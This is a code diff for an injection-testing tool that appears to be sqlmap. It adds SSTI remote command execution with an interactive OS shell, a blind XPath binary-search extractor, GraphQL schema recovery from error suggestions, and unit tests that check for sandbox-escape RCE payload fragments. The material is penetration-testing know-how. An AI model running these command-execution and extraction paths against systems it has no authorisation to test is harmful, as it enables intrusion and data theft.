"'--os-cmd=<command>' (single command)" % engine.name)
# --ssti-query: user-provided expression evaluated in-band
if conf.get("sstiQuery"):
_evalExpression(place, parameter, engine, conf.sstiQuery)
# --ssti-shell: interactive expression evaluation loop
# --ssti-shell: interactive expression evaluation loop (interactive even under --batch,
# like sqlmap's SQL --sql-shell/--os-shell, which read straight from the terminal)
if conf.get("sstiShell"):
infoMsg = "calling SSTI shell. Enter expressions (e.g. 7*7) or 'exit'/'quit' to leave"
logger.info(infoMsg)
from lib.core.common import readInput
logger.info("calling SSTI shell. Enter expressions (e.g. 7*7) or 'exit'/'quit' to leave")
while True:
expr = readInput("ssti-shell> ")
expr = readInput("ssti-shell> ", checkBatch=False)
if not expr or expr.strip().lower() in ("exit", "quit"):
break
_evalExpression(place, parameter, engine, expr.strip())
@ -555,18 +665,15 @@ def sstiScan():
if conf.get("osCmd"):
_executeCommand(place, parameter, engine, conf.osCmd)
# Interactive shell runs even under --batch (mirrors the SQL --os-shell, which
# reads commands straight from the terminal); EOF / 'exit' / 'quit' leaves it.
if conf.get("osShell"):
if conf.get("batch"):
logger.info("skipping interactive OS shell in batch mode")
else:
infoMsg = "calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave"
logger.info(infoMsg)
from lib.core.common import readInput
while True:
cmd = readInput("os-shell> ")
if not cmd or cmd.strip().lower() in ("exit", "quit"):
break
_executeCommand(place, parameter, engine, cmd.strip())
logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave")
while True:
cmd = readInput("os-shell> ", checkBatch=False)
if not cmd or cmd.strip().lower() in ("exit", "quit"):
break
_executeCommand(place, parameter, engine, cmd.strip())
logger.info("SSTI scan complete")
@ -590,9 +697,9 @@ def _evalExpression(place, parameter, engine, expr):
# Three-part payload: marker, expression, marker -- each in its own template tag
# so the expression is evaluated independently of the markers
payload = original + (engine.expressionFmt % ("'%s'" % startMarker))
payload += " " + (engine.expressionFmt % expr)
payload += " " + (engine.expressionFmt % ("'%s'" % endMarker))
payload = original + _expressionPayload(engine.expressionFmt, "'%s'" % startMarker)
payload += " " + _expressionPayload(engine.expressionFmt, expr)
payload += " " + _expressionPayload(engine.expressionFmt, "'%s'" % endMarker)
page = _send(place, parameter, payload)
if not page:
@ -638,6 +745,24 @@ def _canTakeover(engine, evidence):
return True
def _probeRce(place, parameter, engine):
"""Benign, quiet RCE-capability check: run `echo <marker>` via the engine's RCE payloads and
return True if the marker is reflected (proving OS command execution is reachable). Used only
to advise the user; it has no side effect beyond echoing a random token."""
if not engine.rcePayloads:
return False
marker = randomStr(length=12, lowercase=True)
original = _originalValue(place, parameter) or ""
for payloadTemplate, _description in engine.rcePayloads:
payload = payloadTemplate.replace("{CMD}", "echo %s" % marker)
page = _send(place, parameter, original + payload)
if page and marker in getUnicode(page):
return True
return False
def _executeCommand(place, parameter, engine, cmd):
"""Execute an OS command via the engine's RCE payloads, trying each fallback
in order until one produces output. Captures output via baseline diff."""

View file

@ -308,6 +308,20 @@ class _XPathPayloadBuilder(object):
def textStartsWith(self, path, prefix):
return self._make("starts-with(string(%s),%s)" % (path, _xpathQuote(prefix)))
def stringLengthAtLeast(self, target, n):
return self._make("string-length(%s)>=%d" % (target, n))
def charPresent(self, target, pos):
# True when the character at 1-based position `pos` of `target` belongs to
# the known ordered charset (so its index can be resolved by bisection).
return self._make("contains(%s,substring(%s,%d,1))" % (_CS_LITERAL, target, pos))
def charIndexAtLeast(self, target, pos, n):
# The 0-based index of a charset member equals the length of the charset
# prefix preceding it (XPath 1.0 has no lexicographic '<', but
# string-length(substring-before(...)) yields a number we can bisect on).
return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n))
def _makeOracle(place, parameter, template):
"""Build an oracle from a verified true template. extract(payload) returns
@ -360,6 +374,11 @@ for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1):
if _ not in _META_ORDS and _ not in _CHARSET:
_CHARSET.append(_)
# Codepoint-ordered charset used by the binary-search extractor. Ordering here MUST match
# the literal string `_CS_LITERAL` so that a recovered index maps back to the right character.
_CS_ORDS = [_ for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1) if _ not in _META_ORDS]
_CS_LITERAL = _xpathQuote("".join(chr(_) for _ in _CS_ORDS))
def _inferValue(oracle, builder, path, getter, maxLen=XPATH_MAX_LENGTH):
"""Blindly infer a string value at `path` using `getter(builder, path, prefix)`.
@ -407,6 +426,52 @@ def _inferCount(oracle, builder, path, countFn, maxCount=128):
return lo
def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
"""Blindly recover the string value of XPath expression `target` (e.g.
"name(/*)" or "string(/*[1]/@*[1])") using binary search.
The length is bisected first, then each character is resolved by bisecting
its index inside the ordered charset. This needs ~log2(len) requests per
character versus the linear charset scan in _inferValue(), which matters a
lot when walking a whole document tree. Characters outside the charset are
surfaced as '?' so the rest of the value is still recovered."""
if not oracle.extract(builder.stringLengthAtLeast(target, 1)):
return None
lo, hi = 1, maxLen
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle.extract(builder.stringLengthAtLeast(target, mid)):
lo = mid
else:
hi = mid - 1
length = lo
chars = []
probes = 0
last = len(_CS_ORDS) - 1
for pos in xrange(1, length + 1):
probes += 1
if not oracle.extract(builder.charPresent(target, pos)):
chars.append("?")
continue
clo, chi = 0, last
while clo < chi:
cmid = (clo + chi + 1) // 2
probes += 1
if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)):
clo = cmid
else:
chi = cmid - 1
chars.append(chr(_CS_ORDS[clo]))
value = "".join(chars)
logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, length))
return value or None
def _walkTree(oracle, builder, path="/*", depth=0):
"""Recursively walk the XML tree from a given XPath expression.
Returns a dict: {name, path, children, attributes, text} or None."""
@ -414,8 +479,7 @@ def _walkTree(oracle, builder, path="/*", depth=0):
if depth > XPATH_MAX_DEPTH:
return None
name = _inferValue(oracle, builder, path,
lambda b, p, prefix: b.nameStartsWith(p, prefix))
name = _inferString(oracle, builder, "name(%s)" % path)
if not name:
return None
@ -431,20 +495,17 @@ def _walkTree(oracle, builder, path="/*", depth=0):
attributes = []
for i in xrange(1, attrCount + 1):
attrName = _inferValue(oracle, builder, path,
lambda b, p, prefix, idx=i: b.attributeNameStartsWith(p, idx, prefix))
attrName = _inferString(oracle, builder, "name(%s/@*[%d])" % (path, i))
if not attrName:
continue
attrValue = _inferValue(oracle, builder, path,
lambda b, p, prefix, idx=i: b.attributeValueStartsWith(p, idx, prefix))
attrValue = _inferString(oracle, builder, "string(%s/@*[%d])" % (path, i))
attributes.append({"name": attrName, "value": attrValue or ""})
logger.info(" attribute: @%s='%s'" % (attrName, attrValue or ""))
text = None
if childCount == 0:
text = _inferValue(oracle, builder, path,
lambda b, p, prefix: b.textStartsWith(p, prefix))
text = _inferString(oracle, builder, "string(%s)" % path)
children = []
for i in xrange(1, childCount + 1):
@ -511,10 +572,10 @@ def xpathScan():
global SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
infoMsg = "'--xpath' is self-contained: it detects XPath injection in HTTP "
infoMsg += "parameters and walks the reachable XML document tree. SQL enumeration "
infoMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
logger.info(infoMsg)
debugMsg = "'--xpath' is self-contained: it detects XPath injection in HTTP "
debugMsg += "parameters and walks the reachable XML document tree. SQL enumeration "
debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
logger.debug(debugMsg)
if not conf.paramDict:
logger.error("no request parameters to test (use --data, GET params, or similar)")

View file

@ -727,5 +727,67 @@ class TestGraphqlUnicodeSafety(unittest.TestCase):
self.assertIn("caf", gi._cell(u"caf\xe9"))
class TestGraphqlSuggestionRecovery(unittest.TestCase):
"""G1: schema recovery from 'Did you mean' suggestions when introspection is disabled."""
def setUp(self):
self._gql = gi._gqlSend
def tearDown(self):
gi._gqlSend = self._gql
def test_harvest_suggestions_both_quote_styles(self):
# graphql-js uses double quotes; some servers use single quotes + Oxford 'or'
self.assertEqual(
gi._harvestSuggestions('Cannot query field "x" on type "Query". Did you mean "user" or "search"?'),
["user", "search"])
self.assertEqual(
gi._harvestSuggestions("Cannot query field 'x' on type 'Query'. Did you mean 'user', 'me', or 'node'?"),
["user", "me", "node"])
self.assertEqual(gi._harvestSuggestions("no suggestion here"), [])
def test_suggest_fields_from_validation_errors(self):
# An unknown field elicits the closest real field names (graphql-js phrasing)
def fake(endpoint, query, variables=None):
if "{ user }" in query or "{user}" in query:
return '{"data":{"user":null}}', 200 # 'user' is a real (resolving) field
return ('{"errors":[{"message":"Cannot query field \\"%s\\" on type \\"Query\\". '
'Did you mean \\"user\\", \\"search\\" or \\"login\\"?"}]}'
% "zz", 200)
gi._gqlSend = fake
fields = gi._suggestFields("http://t/graphql", "query")
for expected in ("user", "search", "login"):
self.assertIn(expected, fields)
def test_suggest_args_from_unknown_argument(self):
def fake(endpoint, query, variables=None):
return ('{"errors":[{"message":"Unknown argument \\"zz\\" on field \\"Query.user\\". '
'Did you mean \\"username\\"?"}]}', 200)
gi._gqlSend = fake
self.assertIn("username", gi._suggestArgs("http://t/graphql", "query", "user"))
def test_introspect_via_suggestions_builds_slots(self):
def fake(endpoint, query, variables=None):
# introspection-style queries already filtered upstream; here every unknown field
# yields the same suggestion set, and 'search' resolves as a real field
if "{ search }" in query or "{search}" in query:
return '{"data":{"search":[]}}', 200
if "Unknown argument" in query: # never matches; args fall back to wordlist
return '{}', 200
return ('{"errors":[{"message":"Cannot query field \\"zz\\" on type \\"Query\\". '
'Did you mean \\"search\\"?"}]}', 200)
gi._gqlSend = fake
slots = gi._introspectViaSuggestions("http://t/graphql")
self.assertIsNotNone(slots)
self.assertTrue(any(s.fieldName == "search" for s in slots))
self.assertTrue(all(s.strategy == "string" for s in slots))
def test_introspect_via_suggestions_none_without_suggestions(self):
def fake(endpoint, query, variables=None):
return '{"errors":[{"message":"Syntax Error: unexpected token"}]}', 200
gi._gqlSend = fake
self.assertIsNone(gi._introspectViaSuggestions("http://t/graphql"))
if __name__ == "__main__":
unittest.main()

View file

@ -313,10 +313,13 @@ class TestBooleanUniqueness(unittest.TestCase):
jinja2 = ssti._ENGINE_TABLE[0]
self.assertTrue(ssti._booleanUniquelyIdentifies(jinja2))
def test_freemarker_boolean_not_unique(self):
def test_freemarker_boolean_unique_with_computer_format(self):
freemarker = [e for e in ssti._ENGINE_TABLE if e.name == "Freemarker"][0]
# Freemarker and SpringEL both use ("${}", "true", "false") signature
self.assertFalse(ssti._booleanUniquelyIdentifies(freemarker))
# FreeMarker uses ${true?c} (computer-format), distinct from SpringEL's ${true} and
# Mako's ${True}, so its boolean rendering now uniquely identifies it within the ${ } family
self.assertTrue(ssti._booleanUniquelyIdentifies(freemarker))
spring = [e for e in ssti._ENGINE_TABLE if "Spring" in e.name][0]
self.assertTrue(ssti._booleanUniquelyIdentifies(spring))
def test_jinja2_with_arithmetic_and_boolean_is_exact(self):
"""Arithmetic + boolean (unique) should produce exact engine name,
@ -467,3 +470,142 @@ class TestCommandEscaping(unittest.TestCase):
self.assertEqual(ssti._escapeSingleQuoted("hello"), "hello")
self.assertEqual(ssti._escapeSingleQuoted("it's"), "it\\'s")
self.assertEqual(ssti._escapeSingleQuoted("a\\b"), "a\\\\b")
class TestEngineMatrix(unittest.TestCase):
"""For EVERY engine in the table, stand up a faithful mock server running that
engine and assert _fingerprint() identifies it. This proves each engine's full
detection path (arithmetic/boolean/error/distinguishing) actually works end to
end - not just Jinja2 - and guards against regressions like the ERB '%>' format
bug where a delimiter containing '%' silently disabled arithmetic detection."""
def setUp(self):
self.original_send = ssti._send
def tearDown(self):
ssti._send = self.original_send
# Digit-free, boolean-word-free sample errors that match each engine's errorRegex.
# (digit/boolean-free so a sibling engine's boolean probe falling through to the error
# branch on this server is still correctly rejected.)
_ERRORS = {
"Jinja2": "jinja2.exceptions.TemplateSyntaxError: unexpected end of template",
"Mako": "mako.exceptions.SyntaxException: unclosed control structure",
"Twig": "Twig_Error_Syntax: unexpected token in template",
"Freemarker": "freemarker.core.ParseException: encountered unexpected directive",
"Velocity": "org.apache.velocity.runtime.parser.ParseErrorException: encountered eof",
"Spring EL / Thymeleaf": "org.springframework.expression.spel.SpelParseException: bad node",
"ERB": "(erb): syntax error, unexpected end-of-input",
"Pug/Jade": "pug: unexpected token in template",
"Handlebars": "Handlebars: Parse error on line one",
}
# Real divide-by-zero error text per language family (captured from live Mako/ERB/Jinja2
# backends), so the S2 family probe can be exercised. JS yields Infinity (no error).
_DIVZERO = {
"python": "ZeroDivisionError: division by zero",
"ruby": "ZeroDivisionError: divided by 0",
"php": "DivisionByZeroError: Division by zero",
"java": "java.lang.ArithmeticException: / by zero",
"nodejs": "Hello Infinity",
}
@staticmethod
def _make_server(engine, errors):
import re
op = re.escape(engine.delimiter)
cl = re.escape(engine.delimiterClose)
arithRe = re.compile(op + r"\s*(\d+)\s*\*\s*(\d+)\s*" + cl) if engine.arithmeticFmt else None
divZero = TestEngineMatrix._DIVZERO
err = errors.get(engine.name)
def server(place, parameter, value):
# 1) engine-specific distinguishing probe
if engine.distinguishingProbe and engine.distinguishingProbe in value:
if engine.distinguishingResult:
return "Hello " + engine.distinguishingResult
return "Hello" # comment-style probe -> stays at baseline
# 2) this engine's own boolean rendering
if engine.booleanTrue and engine.booleanTrue in value:
return "Hello " + engine.trueRendered
if engine.booleanFalse and engine.booleanFalse in value:
return "Hello " + engine.falseRendered
# 3) divide-by-zero -> language-family-specific error (S2), for engines that evaluate it
if arithRe is not None and (engine.delimiter + "1/0" + engine.delimiterClose) in value:
return divZero.get(engine.family, "Hello")
# 4) arithmetic, but ONLY for engines that actually evaluate it
if arithRe is not None:
m = arithRe.search(value)
if m:
return "Hello %d" % (int(m.group(1)) * int(m.group(2)))
# 5) malformed fragment in this engine's delimiter -> engine-specific error
if err and any(p in value for p in engine.errorProbes):
return err
# 6) anything else (incl. other engines' payloads) renders inertly
return "Hello"
return server
def test_every_engine_is_fingerprinted(self):
for engine in ssti._ENGINE_TABLE:
ssti._send = self._make_server(engine, self._ERRORS)
result, evidence = ssti._fingerprint("GET", "q")
self.assertIsNotNone(result, "engine '%s' was not detected at all" % engine.name)
self.assertIn(engine.name, result.name,
"server running '%s' was identified as '%s'" % (engine.name, result.name))
def test_family_probe_confirms_language(self):
# S2: the divide-by-zero probe must confirm the backend family for every
# expression-evaluating, non-JS engine (Python/Ruby/PHP/Java).
for engine in ssti._ENGINE_TABLE:
if not (engine.arithmeticFmt and engine.delimiterClose):
continue
if engine.family not in ("python", "ruby", "php", "java"):
continue
ssti._send = self._make_server(engine, self._ERRORS)
_result, evidence = ssti._fingerprint("GET", "q")
self.assertTrue(evidence.get("family"),
"family probe should confirm '%s' on a %s backend" % (engine.name, engine.family))
def test_filter_evasion_rce_fallbacks_present(self):
# S3: each engine must retain its filter-evasion / sandbox-escape RCE fallbacks.
def rce(name):
return " ".join(p for p, _d in next(e for e in ssti._ENGINE_TABLE if e.name == name).rcePayloads)
jinja = rce("Jinja2")
self.assertIn("attr(", jinja) # dot/underscore-free attr() chain
self.assertIn("\\x5f", jinja) # hex-escaped dunders
twig = rce("Twig")
self.assertIn("sort('system')", twig)
self.assertIn("map('system')", twig)
spring = rce("Spring EL / Thymeleaf")
self.assertIn("readLine", spring) # output-capturing SpEL
self.assertIn("@java.lang.Runtime@getRuntime", spring) # OGNL fallback
def test_family_probe_does_not_crossmatch(self):
# Python 'division by zero' must NOT satisfy the (case-sensitive) PHP signature, so a
# Jinja2/Python server never lets Twig/PHP claim a family match.
jinja = next(e for e in ssti._ENGINE_TABLE if e.name == "Jinja2")
ssti._send = self._make_server(jinja, self._ERRORS)
cache = {}
twig = next(e for e in ssti._ENGINE_TABLE if e.name == "Twig")
self.assertEqual(ssti._probeFamily("GET", "q", jinja, cache), "python")
self.assertNotEqual(ssti._probeFamily("GET", "q", twig, cache), twig.family)
def test_erb_arithmetic_works_after_format_fix(self):
# Direct regression guard for the '<%= %d*%d %>' / '<%= %s %>' format bug.
erb = next(e for e in ssti._ENGINE_TABLE if e.name == "ERB")
ssti._send = self._make_server(erb, self._ERRORS)
self.assertTrue(ssti._probeArithmetic("GET", "q", erb),
"ERB arithmetic proof must succeed once %-format no longer crashes on '%>'")
result, evidence = ssti._fingerprint("GET", "q")
self.assertEqual(result.name, "ERB")
self.assertTrue(evidence.get("arithmetic"))
def test_mako_distinguished_from_freemarker_spring(self):
# Mako shares '${ }' with Freemarker/Spring but renders capital True/False;
# it must be named exactly (via unique boolean rendering), not "probable".
mako = next(e for e in ssti._ENGINE_TABLE if e.name == "Mako")
ssti._send = self._make_server(mako, self._ERRORS)
result, evidence = ssti._fingerprint("GET", "q")
self.assertEqual(result.name, "Mako")
self.assertTrue(evidence.get("boolean"))

View file

@ -252,6 +252,40 @@ class TestExtraction(unittest.TestCase):
maxCount=8)
self.assertEqual(result, expected)
def test_infer_string_binary_search(self):
# Drive the binary-search extractor through real lxml evaluation of the
# boundary-wrapped predicates against _XML and confirm exact recovery.
boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"]
builder = xpath._XPathPayloadBuilder("x", boundary)
template = _XPATH_TEMPLATES["function_arg"]
class MockOracle(object):
def extract(self, payload):
return _xpath_eval(template, payload) > 0
oracle = MockOracle()
# Absolute targets are resolved the same way the live tree-walk would.
self.assertEqual(xpath._inferString(oracle, builder, "name(/*)", maxLen=32), "directory")
self.assertEqual(xpath._inferString(oracle, builder, "string(//user[1]/name)", maxLen=32), "luther")
self.assertEqual(xpath._inferString(oracle, builder, "string(//user[1]/@id)", maxLen=32), "1")
def test_infer_string_matches_linear(self):
# The fast extractor must agree with the legacy linear extractor.
boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"]
builder = xpath._XPathPayloadBuilder("x", boundary)
template = _XPATH_TEMPLATES["function_arg"]
class MockOracle(object):
def extract(self, payload):
return _xpath_eval(template, payload) > 0
oracle = MockOracle()
fast = xpath._inferString(oracle, builder, "name(/*)", maxLen=32)
linear = xpath._inferValue(oracle, builder, "/*",
lambda b, p, prefix: b.nameStartsWith(p, prefix),
maxLen=32)
self.assertEqual(fast, linear)
class TestBackendFingerprint(unittest.TestCase):
def test_lxml(self):
@ -323,7 +357,7 @@ class TestRealXPathSyntax(unittest.TestCase):
"False payload '%s' should match no nodes" % falsePayload)
# Extraction predicate must be valid and change the result truthfully
builder = xpath._XPathPayloadBuilder(original, boundary)
self.assertIsNotNone(xpath._XPathPayloadBuilder(original, boundary))
truePred = xpath._makePayload(original, boundary, "true()")
falsePred = xpath._makePayload(original, boundary, "false()")
self.assertGreater(self._count(template, truePred), 0,
@ -368,7 +402,7 @@ class TestRealXPathSyntax(unittest.TestCase):
boundary = xpath._BREAKOUT_BOUNDARY["' or '1'='1"]
# Simulate what xpathScan() does: use a sentinel as base for OR-style
sentinel = "zzznotpresent"
builder = xpath._XPathPayloadBuilder(sentinel, boundary)
self.assertIsNotNone(xpath._XPathPayloadBuilder(sentinel, boundary))
truePred = xpath._makePayload(sentinel, boundary, "true()")
falsePred = xpath._makePayload(sentinel, boundary, "false()")
tpl = _XPATH_TEMPLATES["single_quoted"]